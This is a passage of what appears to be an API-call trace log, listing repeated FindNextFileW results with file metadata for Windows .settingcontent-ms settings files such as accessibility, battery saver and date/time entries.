ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x149d73c8, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23458c07, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageWindowsDefender.settingcontent-ms", cAlternateFileName="AA994C~1.SET")) returned 1 [0194.064] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a6fd36, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x14a6fd36, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_Settings_DeveloperModeGroup.settingcontent-ms", cAlternateFileName="AA7CD7~1.SET")) returned 1 [0194.064] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd229a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x14cd229a, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_Settings_DeviceDiscoveryGroup.settingcontent-ms", cAlternateFileName="AA2361~1.SET")) returned 1 [0194.064] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14ec2151, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x14ec2151, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x510, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Accessibility_CursorThickness.settingcontent-ms", cAlternateFileName="AAA_SY~1.SET")) returned 1 [0194.064] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1842c8c1, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1842c8c1, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Accessibility_IsAnimationsEnabled.settingcontent-ms", cAlternateFileName="AAA_SY~2.SET")) returned 1 [0194.064] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b79b72, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x18b79b72, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23884dd1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x517, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Accessibility_IsMouseKeysEnabled.settingcontent-ms", cAlternateFileName="AAA_SY~3.SET")) returned 1 [0194.064] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1973f586, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1973f586, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23458c07, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x547, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Accessibility_IsOverlappedContentEnabled.settingcontent-ms", cAlternateFileName="AAA_SY~4.SET")) returned 1 [0194.064] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19d353a9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x19d353a9, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23884dd1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x54d, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Accessibility_Magnifier_IsAutoStartEnabled.settingcontent-ms", cAlternateFileName="AA5254~1.SET")) returned 1 [0194.064] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6725c0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1a6725c0, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x520, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Accessibility_Magnifier_IsEnabled.settingcontent-ms", cAlternateFileName="AA2C2E~1.SET")) returned 1 [0194.064] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ac683dd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1ac683dd, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x584, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Accessibility_Magnifier_IsFollowInsertPointEnabled.settingcontent-ms", cAlternateFileName="AA8CB1~1.SET")) returned 1 [0194.064] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b5f1aa1, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1b5f1aa1, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23969bec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x575, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Accessibility_Magnifier_IsFollowKeyFocusEnabled.settingcontent-ms", cAlternateFileName="AAA651~1.SET")) returned 1 [0194.064] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b7e1911, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1b7e1911, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23969bec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Accessibility_Magnifier_IsInversionColorEnabled.settingcontent-ms", cAlternateFileName="AABD4E~1.SET")) returned 1 [0194.070] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bb28d74, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1bb28d74, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x234329b1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Accessibility_MouseCursorColor.settingcontent-ms", cAlternateFileName="AA8E91~1.SET")) returned 1 [0194.070] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bca64a8, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1bca64a8, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a9aeb1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50e, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Accessibility_MouseCursorSize.settingcontent-ms", cAlternateFileName="AAD5FB~1.SET")) returned 1 [0194.070] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c013b28, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1c013b28, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x546, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Accessibility_Narrator_IsAutoStartEnabled.settingcontent-ms", cAlternateFileName="AADFD0~1.SET")) returned 1 [0194.070] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c2e87e0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1c2e87e0, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x54b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Accessibility_Narrator_IsDuckAudioEnabled.settingcontent-ms", cAlternateFileName="AAFBF6~1.SET")) returned 1 [0194.070] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c524bdd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1c524bdd, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Accessibility_Narrator_IsEchoCharacterEnabled.settingcontent-ms", cAlternateFileName="AA0EB6~1.SET")) returned 1 [0194.070] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c6a224a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1c6a224a, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x546, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Accessibility_Narrator_IsEchoWordEnabled.settingcontent-ms", cAlternateFileName="AA16CC~1.SET")) returned 1 [0194.070] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cefa67c, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1cefa67c, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x519, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Accessibility_Narrator_IsEnabled.settingcontent-ms", cAlternateFileName="AAD6FB~1.SET")) returned 1 [0194.070] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02b92e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1d02b92e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23458c07, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x55b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Accessibility_Narrator_IsFastKeyEntryEnabled.settingcontent-ms", cAlternateFileName="AAFD0D~1.SET")) returned 1 [0194.070] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d300636, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1d300636, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x56a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Accessibility_Narrator_IsFollowInsertionEnabled.settingcontent-ms", cAlternateFileName="AA4EF2~1.SET")) returned 1 [0194.070] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d5166c6, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1d5166c6, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x56a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Accessibility_Narrator_IsHighlightCursorEnabled.settingcontent-ms", cAlternateFileName="AAB22F~1.SET")) returned 1 [0194.070] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9db264, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1d9db264, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Accessibility_Narrator_IsPlayAudioCuesEnabled.settingcontent-ms", cAlternateFileName="AA0FB5~1.SET")) returned 1 [0194.070] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db32796, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1db32796, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x54b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Accessibility_Narrator_IsReadHintsEnabled.settingcontent-ms", cAlternateFileName="AA29E2~1.SET")) returned 1 [0194.070] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1df5e94c, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1df5e94c, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Accessibility_Narrator_SpeechPitch.settingcontent-ms", cAlternateFileName="AA3E47~1.SET")) returned 1 [0194.071] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e2cbf50, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1e2cbf50, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Accessibility_Narrator_SpeechSpeed.settingcontent-ms", cAlternateFileName="AA114E~1.SET")) returned 1 [0194.071] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e63957f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1e63957f, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x52d, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Accessibility_Narrator_SpeechVoices.settingcontent-ms", cAlternateFileName="AA692E~1.SET")) returned 1 [0194.071] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e82941a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1e82941a, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a9aeb1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x529, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Accessibility_NotificationDuration.settingcontent-ms", cAlternateFileName="AA31F0~1.SET")) returned 1 [0194.076] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee45493, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1ee45493, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4c3, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Autoplay_IsEnabled.settingcontent-ms", cAlternateFileName="AA5C9A~1.SET")) returned 1 [0194.076] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f7ceb35, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1f7ceb35, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2391d733, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x546, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_BatterySaver_LandingPage_OverrideControl.settingcontent-ms", cAlternateFileName="AA9529~1.SET")) returned 1 [0194.076] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x207e69c7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x207e69c7, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x53f, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_BatterySaver_LandingPage_SettingsLink-2.settingcontent-ms", cAlternateFileName="AAED09~1.SET")) returned 1 [0194.076] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20f0da93, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x20f0da93, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23884dd1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x537, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_BatterySaver_LandingPage_SettingsLink.settingcontent-ms", cAlternateFileName="AA2914~1.SET")) returned 1 [0194.076] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x213ac3fd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x213ac3fd, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x54e, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_BatterySaver_LandingPage_UsageDetailsLink-2.settingcontent-ms", cAlternateFileName="AA1E1A~1.SET")) returned 1 [0194.076] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x224cf2c5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x224cf2c5, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23969bec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x546, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_BatterySaver_LandingPage_UsageDetailsLink.settingcontent-ms", cAlternateFileName="AA138B~1.SET")) returned 1 [0194.076] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a78c4d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x22a78c4d, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x233c02ad, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x520, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_DataSense_ConfigureSetLimitButton.settingcontent-ms", cAlternateFileName="AA1B73~1.SET")) returned 1 [0194.076] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22e7ecde, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x22e7ecde, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4e3, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_DateTime_CountryRegion.settingcontent-ms", cAlternateFileName="AAF42F~1.SET")) returned 1 [0194.077] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23369a6a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x23369a6a, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x51f, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_DateTime_IsAutomaticDSTAdjustEnabled.settingcontent-ms", cAlternateFileName="AAC2C5~1.SET")) returned 1 [0194.077] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x235f22ac, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x235f22ac, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x529, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_DateTime_IsTimeSetAutomaticallyEnabled.settingcontent-ms", cAlternateFileName="AA7FFC~1.SET")) returned 1 [0194.077] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23939648, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x23939648, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x53d, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_DateTime_IsTimeZoneSetAutomaticallyEnabled.settingcontent-ms", cAlternateFileName="AAEAA2~1.SET")) returned 1 [0194.077] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23cf2fd9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x23cf2fd9, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a9aeb1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4a7, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_DateTime_Set.settingcontent-ms", cAlternateFileName="AAD480~1.SET")) returned 1 [0194.077] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23e7080f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x23e7080f, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23458c07, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d7, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_DateTime_SetFormats.settingcontent-ms", cAlternateFileName="AACB48~1.SET")) returned 1 [0194.077] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23fc7c9d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x23fc7c9d, ftLastAccessTime.dwHighDateTime=0x1d32715, 